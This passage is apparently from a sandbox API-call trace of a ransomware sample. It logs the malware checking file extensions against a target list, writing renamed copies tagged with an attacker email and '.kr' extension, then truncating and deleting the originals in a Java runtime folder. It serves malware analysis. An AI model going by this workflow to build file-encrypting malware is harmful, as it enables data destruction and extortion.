[0179.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0179.754] lstrlenW (lpString=".zip") returned 4 [0179.754] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0179.754] lstrlenW (lpString=".rar") returned 4 [0179.754] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0179.754] lstrlenW (lpString=".bz2") returned 4 [0179.754] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0179.754] lstrlenW (lpString=".7z") returned 3 [0179.754] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0179.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0179.754] lstrlenW (lpString=".dbf") returned 4 [0179.754] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0179.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0179.754] lstrlenW (lpString=".1cd") returned 4 [0179.754] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0179.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0179.754] lstrlenW (lpString=".jpg") returned 4 [0179.754] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0179.754] lstrcmpiW (lpString1=".0_144\\lib\\ext\\meta-index", lpString2=".kr") returned -1 [0179.754] lstrlenW (lpString="meta-index") returned 10 [0179.754] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0179.755] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=1461) returned 1 [0179.755] CloseHandle (hObject=0x454) returned 1 [0179.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 0x20 [0179.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0179.755] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0179.755] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0179.755] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0179.755] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0179.756] GetLastError () returned 0x0 [0179.756] ReadFile (in: hFile=0x454, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x5b5, lpOverlapped=0x0) returned 1 [0179.758] WriteFile (in: hFile=0x3fc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x5c0, lpOverlapped=0x0) returned 1 [0179.759] ReadFile (in: hFile=0x454, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0179.759] WriteFile (in: hFile=0x3fc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xe8, lpOverlapped=0x0) returned 1 [0179.759] SetEndOfFile (hFile=0x3fc) returned 1 [0179.759] CloseHandle (hObject=0x3fc) returned 1 [0179.760] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0179.760] SetEndOfFile (hFile=0x454) returned 1 [0179.762] CloseHandle (hObject=0x454) returned 1 [0179.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0179.763] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 1 [0179.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0179.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0179.763] lstrlenW (lpString=".doc") returned 4 [0179.763] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0179.763] lstrlenW (lpString=".docx") returned 5 [0179.764] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0179.764] lstrlenW (lpString=".pdf") returned 4 [0179.764] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0179.764] lstrlenW (lpString=".xls") returned 4 [0179.764] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0179.764] lstrlenW (lpString=".xlsx") returned 5 [0179.764] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0179.764] lstrlenW (lpString=".ppt") returned 4 [0179.764] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0179.764] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0179.764] lstrlenW (lpString=".zip") returned 4 [0179.764] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0179.764] lstrlenW (lpString=".rar") returned 4 [0179.764] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0179.764] lstrlenW (lpString=".bz2") returned 4 [0179.764] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0179.764] lstrlenW (lpString=".7z") returned 3 [0179.764] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0179.764] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0179.764] lstrlenW (lpString=".dbf") returned 4 [0179.764] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0179.764] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0179.764] lstrlenW (lpString=".1cd") returned 4 [0179.764] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0179.764] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0179.764] lstrlenW (lpString=".jpg") returned 4 [0179.764] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0179.764] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0179.764] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0179.764] lstrlenW (lpString=".doc") returned 4 [0179.764] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0179.764] lstrlenW (lpString=".docx") returned 5 [0179.764] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0179.765] lstrlenW (lpString=".pdf") returned 4 [0179.765] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0179.765] lstrlenW (lpString=".xls") returned 4 [0179.765] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0179.765] lstrlenW (lpString=".xlsx") returned 5 [0179.765] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0179.765] lstrlenW (lpString=".ppt") returned 4 [0179.765] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0179.765] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0179.765] lstrlenW (lpString=".zip") returned 4 [0179.765] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0179.765] lstrlenW (lpString=".rar") returned 4 [0179.765] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0179.765] lstrlenW (lpString=".bz2") returned 4 [0179.765] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0179.765] lstrlenW (lpString=".7z") returned 3 [0179.765] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0179.765] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0179.765] lstrlenW (lpString=".dbf") returned 4 [0179.765] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0179.765] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0179.765] lstrlenW (lpString=".1cd") returned 4 [0179.765] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0179.765] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0179.765] lstrlenW (lpString=".jpg") returned 4 [0179.765] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0179.766] lstrcmpiW (lpString1=".jar", lpString2=".kr") returned -1 [0179.766] lstrlenW (lpString="nashorn.jar") returned 11 [0179.766] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0179.767] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=2022734) returned 1 [0179.767] CloseHandle (hObject=0x454) returned 1 [0179.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar")) returned 0x20 [0179.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0179.767] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0179.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0179.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0179.767] lstrlenW (lpString=".doc") returned 4 [0179.767] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0179.767] lstrlenW (lpString=".docx") returned 5 [0179.767] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0179.767] lstrlenW (lpString=".pdf") returned 4 [0179.767] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0179.767] lstrlenW (lpString=".xls") returned 4 [0179.767] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0179.768] lstrlenW (lpString=".xlsx") returned 5 [0179.768] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0179.768] lstrlenW (lpString=".ppt") returned 4 [0179.768] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0179.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0179.768] lstrlenW (lpString=".zip") returned 4 [0179.768] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0179.768] lstrlenW (lpString=".rar") returned 4 [0179.768] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0179.768] lstrlenW (lpString=".bz2") returned 4 [0179.768] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0179.768] lstrlenW (lpString=".7z") returned 3 [0179.768] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0179.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0179.768] lstrlenW (lpString=".dbf") returned 4 [0179.768] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0179.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0179.768] lstrlenW (lpString=".1cd") returned 4 [0179.768] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0179.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0179.768] lstrlenW (lpString=".jpg") returned 4 [0179.768] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0179.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0179.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0179.768] lstrlenW (lpString=".doc") returned 4 [0179.768] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0179.768] lstrlenW (lpString=".docx") returned 5 [0179.768] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0179.768] lstrlenW (lpString=".pdf") returned 4 [0179.768] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0179.768] lstrlenW (lpString=".xls") returned 4 [0179.768] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0179.768] lstrlenW (lpString=".xlsx") returned 5 [0179.769] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0179.769] lstrlenW (lpString=".ppt") returned 4 [0179.769] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0179.769] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0179.769] lstrlenW (lpString=".zip") returned 4 [0179.769] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0179.769] lstrlenW (lpString=".rar") returned 4 [0179.769] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0179.769] lstrlenW (lpString=".bz2") returned 4 [0179.769] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0179.769] lstrlenW (lpString=".7z") returned 3 [0179.769] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0179.769] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0179.769] lstrlenW (lpString=".dbf") returned 4 [0179.769] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0179.769] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0179.769] lstrlenW (lpString=".1cd") returned 4 [0179.769] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0179.769] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0179.769] lstrlenW (lpString=".jpg") returned 4 [0179.769] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0179.769] lstrcmpiW (lpString1=".jar", lpString2=".kr") returned -1 [0179.769] lstrlenW (lpString="sunec.jar") returned 9 [0179.769] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0179.770] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=42185) returned 1 [0179.770] CloseHandle (hObject=0x454) returned 1 [0179.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 0x20 [0179.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0179.771] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0179.771] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0179.771] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0179.771] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0179.771] GetLastError () returned 0x0 [0179.771] ReadFile (in: hFile=0x454, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0xa4c9, lpOverlapped=0x0) returned 1 [0179.870] WriteFile (in: hFile=0x3fc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xa4d0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xa4d0, lpOverlapped=0x0) returned 1 [0179.872] ReadFile (in: hFile=0x454, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0179.872] WriteFile (in: hFile=0x3fc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xe6, lpOverlapped=0x0) returned 1 [0179.872] SetEndOfFile (hFile=0x3fc) returned 1 [0179.872] CloseHandle (hObject=0x3fc) returned 1 [0179.874] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0179.874] SetEndOfFile (hFile=0x454) returned 1 [0179.879] CloseHandle (hObject=0x454) returned 1 [0179.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0179.886] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 1 [0179.887] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0179.887] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0179.887] lstrlenW (lpString=".doc") returned 4 [0179.887] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0179.887] lstrlenW (lpString=".docx") returned 5 [0179.887] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1 [0179.887] lstrlenW (lpString=".pdf") returned 4 [0179.887] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0179.887] lstrlenW (lpString=".xls") returned 4 [0179.887] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0179.887] lstrlenW (lpString=".xlsx") returned 5 [0179.887] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1 [0179.887] lstrlenW (lpString=".ppt") returned 4 [0179.887] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0179.887] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0179.887] lstrlenW (lpString=".zip") returned 4 [0179.887] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0179.887] lstrlenW (lpString=".rar") returned 4 [0179.887] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0179.887] lstrlenW (lpString=".bz2") returned 4 [0179.887] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0179.887] lstrlenW (lpString=".7z") returned 3 [0179.887] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0179.887] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0179.887] lstrlenW (lpString=".dbf") returned 4 [0179.887] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0179.887] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0179.887] lstrlenW (lpString=".1cd") returned 4 [0179.887] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0179.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0179.888] lstrlenW (lpString=".jpg") returned 4 [0179.888] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0179.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0179.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0179.888] lstrlenW (lpString=".doc") returned 4 [0179.888] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0179.888] lstrlenW (lpString=".docx") returned 5 [0179.888] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1 [0179.888] lstrlenW (lpString=".pdf") returned 4 [0179.888] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0179.888] lstrlenW (lpString=".xls") returned 4 [0179.888] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0179.888] lstrlenW (lpString=".xlsx") returned 5 [0179.888] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1 [0179.888] lstrlenW (lpString=".ppt") returned 4 [0179.888] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0179.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0179.888] lstrlenW (lpString=".zip") returned 4 [0179.888] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0179.888] lstrlenW (lpString=".rar") returned 4 [0179.888] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0179.888] lstrlenW (lpString=".bz2") returned 4 [0179.888] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0179.888] lstrlenW (lpString=".7z") returned 3 [0179.888] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0179.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0179.888] lstrlenW (lpString=".dbf") returned 4 [0179.888] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0179.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0179.888] lstrlenW (lpString=".1cd") returned 4 [0179.888] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0179.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0179.889] lstrlenW (lpString=".jpg") returned 4 [0179.889] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0179.889] lstrcmpiW (lpString1=".jar", lpString2=".kr") returned -1 [0179.889] lstrlenW (lpString="sunjce_provider.jar") returned 19 [0179.889] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0179.889] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=280161) returned 1 [0179.889] CloseHandle (hObject=0x454) returned 1 [0179.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 0x20 [0179.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0179.890] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0179.890] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0179.890] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0179.890] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0179.891] GetLastError () returned 0x0 [0179.891] ReadFile (in: hFile=0x454, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x44661, lpOverlapped=0x0) returned 1 [0179.903] WriteFile (in: hFile=0x3fc, lpBuffer=0x3b48020*, 